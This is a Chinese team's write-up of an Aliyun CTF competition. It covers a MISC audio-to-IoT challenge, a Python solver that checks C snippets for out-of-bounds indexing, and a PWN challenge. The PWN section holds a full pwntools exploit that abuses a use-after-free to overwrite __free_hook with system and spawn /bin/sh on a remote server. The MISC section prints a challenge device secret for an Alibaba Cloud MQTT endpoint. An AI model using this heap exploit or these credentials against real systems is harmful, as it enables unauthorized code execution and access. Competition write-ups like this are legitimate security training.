type
Post
status
Published
date
Jul 2, 2021
slug
7
summary
tags
wp
category
MISC
icon
password

阿里云CTF WriteUp

队伍名称

TeamGipsy

排名

9 名

解题思路

web

 

MISC

消失的声波

做提前的一些想法:
频谱图很奇怪,应该是藏了什么信息,看样子是有点像sstv的,配合上名字,消失的声波,感觉就像中间缺了几段,然后去找一下(后面发现不是
notion image
声音听出来是杂音,尝试了使用mmsstv跟qsstv都不能解,想到了之前一个使用minimorden的题目,尝试解一下。去手册上看一下参数,试了几个,最后发现是same能解,得到
notion image
对上了,3个数据,然后后面3个NNNN,所以就不是要去找消失的文件
ALBB-iot2023.oss-hz-OpYdCuMtkQ8Yjhm2
然后,这一眼阿里巴巴,后面一串什么,不知道,这就要发挥强大的ChatGPT了
notion image
去找一找文档
找到了对象云存储这个文档
notion image
转一下,得到地址
得到附件,丢进linux file一下,是一个mac下的可执行文件,先联系个mac来做题
notion image
之后翻010的时候,发现了一堆数据,那就直接记事本打开看看有啥,有用的东西也不多,往下翻的时候,在乱码消失的第一行,就出现了一段数据,不知道干嘛的,先留着,继续往下翻,同时也有一段变量名,但是还是不知道是干嘛的,不过注意到,前面的参数有个地址,iot,mqtt这个,问问chatgpt
notion image
notion image
ChatGPT太强大了,去阿里云物联网平台上找一些说明资料
然后就是队友的mac ./运行得到
 
跟我上面找到的信息差不多,不过他这个username跟password,尝试了使用mqttx连接,连不上去,用文档中的mqtt.fx也连不上去,翻文档,最后使用python尝试交互
可以整理到几个关键信息
host_name
cn-shanghai
product_key
a1eAwsBKddO
device_name
ncApIY2XV9NUIY4VpbGk
device_secret
04845e512ead208b2437d970a154d69e
endpoint
a1eAwsBKddO.iot-as-mqtt.cn-shanghai.aliyuncs.com
官网文档有个demo,直接下下来,用它的跑就行
然后就可以运行测试下有没有联通
之后就是测试交互,一直测试测试,直到,将id的参数改成flag,就可以得到最终的flag
rc, mid = lk.publish_topic(lk.to_full_topic("user/update"), "{\"id\":\"flag\",\"version\":\"1.0\",\"params\":{\"LightSwitch\":0}}")
notion image

OOBdetection

根据题目描述和需判断SC程序中是否存在数组索引值越界的情况
因为这里的c语言程序比较简单,所以直接将其改写成了python程序并将其写入本文,然后通过python运行该程序,检测是否报错及其报错内容。
改写语言就是依托答辩,普通的if-else条件判断来改写,不赘述。
# from Crypto.Util.number import long_to_bytes from pwn import * dics = string.digits + string.ascii_letters re = remote('47.98.209.191', 1337) context.log_level = 'debug' re.recvuntil(b'sha256(XXX + ') e = bytes.fromhex(re.recvuntil(b')').decode()[:-1]) re.recvuntil(b'== ') f = re.recvline().decode()[:-1] # print(e,f) g = 0 for a in range(256): if g: break for b in range(256): if g: break for c in range(256): data = long_to_bytes(a) + long_to_bytes(b) + long_to_bytes(c) + e out = hashlib.sha256(data).hexdigest() if out == f: flag = data[:3].hex() g = 1 break re.recv() re.sendline(flag.encode()) re.recvuntil(b'Good luck!\\n') total = 0 while True: realcode = '' cs = [] c = re.recvuntil(b'Y')[:-1].decode().strip('\\n') code = list(c.split('\\n')) for c in code: c = c.strip(';') if c == '': pass elif 'int' in c and '=' in c: cs.append(c.replace('int ', '')) realcode += c.replace('int ', '') + '\\n' elif 'int' in c and '][' in c: realcode += c.replace('int ', '')[0] + f' = [list(range({c[c.index("]") + 2:-1]})) for i in range({c[6:c.index("]")]})]\\n' elif 'int' in c and '[' in c: cs.append(c.replace('int ', '')[0] + f' = list(range({c[6:-1]}))') realcode += c.replace('int ', '')[0] + f' = list(range({c[6:-1]}))\\n' elif 'int' in c: pass else: if c + ';' == code[-1]: if '][' in c: parm = c[0] expr = c[2:len(c[:c.index('=')]) - c[:c.index('=')][::-1].index(']') - 1].strip(' ') exprs = [_.strip(' ') for _ in list(expr.split(']['))] realcode += f'if {exprs[0]} > len({parm}) or {exprs[0]} < 0 or {exprs[1]} > len({parm}[0]) or {exprs[1]} < 0:\\n raise IndexError\\n' else: parm = c[0] expr = c[2:len(c[:c.index('=')]) - c[:c.index('=')][::-1].index(']') - 1].strip(' ') for i in '+-*/': if i in expr: exprs = [_.strip(' ') for _ in list(expr.split(i))] for ex in exprs: ex = ex.replace(' ', ' ') if ex not in realcode and '[' in ex: realcode += 'raise ZeroDivisionError\\n' realcode += f'if {expr.replace("/", "//")} < 0: \\n raise IndexError\\n' realcode += c + '\\n' # print(realcode) open('coded.py', 'w').write(realcode) p = subprocess.Popen('python3 coded.py', shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) msg = p.stdout.read() msg = msg.strip().decode() # print(msg) if 'IndexError' in msg: re.sendline(b'oob') elif 'ZeroDivisionError' in msg or 'is not defined' in msg: re.sendline('unknown') else: re.sendline(b'safe') re.recvuntil(b'!\\n') total += 1 print(total) re.interactive() # b'aliyunctf{0k_y0u_kn0w_h0w_to_analyse_Pr0gram}'

PWN

babyheap

rust程序,free的时候有backdoor,uaf。劫持free_hook为system
from pwn import* #context.log_level = "debug" context.arch="amd64" binary_name = "babyheap" elf =ELF("./"+binary_name) local = 1 libc = ELF("libc-2.27.so") se = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) rc = lambda num :io.recv(num) rl = lambda :io.recvline() ru = lambda delims :io.recvuntil(delims) uu32 = lambda data :u32(data.ljust(4, b'\\x00')) uu64 = lambda data :u64(data.ljust(8, b'\\x00')) info = lambda tag, addr :log.info(tag + " -------------> " + hex(addr)) ia = lambda :io.interactive() if local==1: io = remote("47.98.229.103",1337) else: io = process("./"+binary_name) def debug(): gdb.attach(io,''' b *$rebase(0x00D284) ''') pause() def add(size,value): sla(b">>>",b'1') sla(b'size:',str(size).encode()) sa(b'content:',value) def show(index): sla(b">>>",b'2') sla(b'index:',str(index).encode()) def edit(index,value): sla(b'>>>',b'3') sla(b'index:',str(index).encode()) sa(b':',value) def free(index): sla(b'>>>',b'4') sla(b'index:',str(index).encode()) backdoor = 0x74737572 for i in range(8): add(0x80,(str(i)*0x80).encode()) for i in range(8,1,-1): free(i) free(0) free(backdoor+1) show(1) libcbase =u64(io.recvuntil(b"\\x7f")[-6:].ljust(8,b'\\x00')) - 4111520 info("libcbase",libcbase) free_hook = libcbase + libc.sym["__free_hook"] info("free_hook",free_hook) system_addr = libcbase + libc.sym["system"] one=[0x4f2a5,0x4f302,0x10a2fc] add(0x30,b'a'*0x30) add(0x30,b'a'*0x30) free(backdoor + 2) # debug() edit(2,p64(free_hook-8).ljust(0x30,b'a')) add(0x40,b'a'*0x40) payload = b'/bin/sh\\x00' + p64(system_addr) payload = payload.ljust(0x40,b'a') # add(0x90,b'a'*0x90) add(0x40,payload) free(4) # debug() ia()

懂得都懂带带弟弟

直接秒了,二血
import ("/flag")

签到

来个签到吧

翻了几下就有flag
notion image
aliyunctf{Welcome_to_aliyunctf_GLHF}
 
MMSSTV第四届杭州师范大学校赛出题人miscwp